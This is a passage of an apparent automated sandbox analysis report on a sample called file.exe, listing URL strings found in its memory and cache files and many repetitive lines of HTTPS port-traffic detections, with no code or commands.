Source: sets.json.4.dr	String found in binary or memory: https://tvn.pl
Source: sets.json.4.dr	String found in binary or memory: https://tvn24.pl
Source: chromecache_95.6.dr, chromecache_105.6.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: sets.json.4.dr	String found in binary or memory: https://unotv.com
Source: sets.json.4.dr	String found in binary or memory: https://victorymedium.com
Source: chromecache_95.6.dr, chromecache_105.6.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_105.6.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: sets.json.4.dr	String found in binary or memory: https://vrt.be
Source: sets.json.4.dr	String found in binary or memory: https://vwo.com
Source: sets.json.4.dr	String found in binary or memory: https://welt.de
Source: sets.json.4.dr	String found in binary or memory: https://wieistmeineip.de
Source: sets.json.4.dr	String found in binary or memory: https://wildix.com
Source: sets.json.4.dr	String found in binary or memory: https://wildixin.com
Source: sets.json.4.dr	String found in binary or memory: https://wingify.com
Source: sets.json.4.dr	String found in binary or memory: https://wordle.at
Source: sets.json.4.dr	String found in binary or memory: https://wp.pl
Source: sets.json.4.dr	String found in binary or memory: https://wpext.pl
Source: sets.json.4.dr	String found in binary or memory: https://www.asadcdn.com
Source: file.exe, 00000000.00000003.2195548372.000000000563B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2195548372.000000000563B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_95.6.dr, chromecache_105.6.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: file.exe, 00000000.00000003.2229503651.00000000056FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: file.exe, 00000000.00000003.2229503651.00000000056FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000003.2229717694.0000000005911000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: file.exe, 00000000.00000003.2229717694.0000000005911000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: file.exe, 00000000.00000003.2229717694.0000000005911000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: sets.json.4.dr	String found in binary or memory: https://ya.ru
Source: sets.json.4.dr	String found in binary or memory: https://yours.co.uk
Source: sets.json.4.dr	String found in binary or memory: https://zalo.me
Source: sets.json.4.dr	String found in binary or memory: https://zdrowietvn.pl
Source: sets.json.4.dr	String found in binary or memory: https://zingmp3.vn
Source: sets.json.4.dr	String found in binary or memory: https://zoom.com
Source: sets.json.4.dr	String found in binary or memory: https://zoom.us

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64874
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
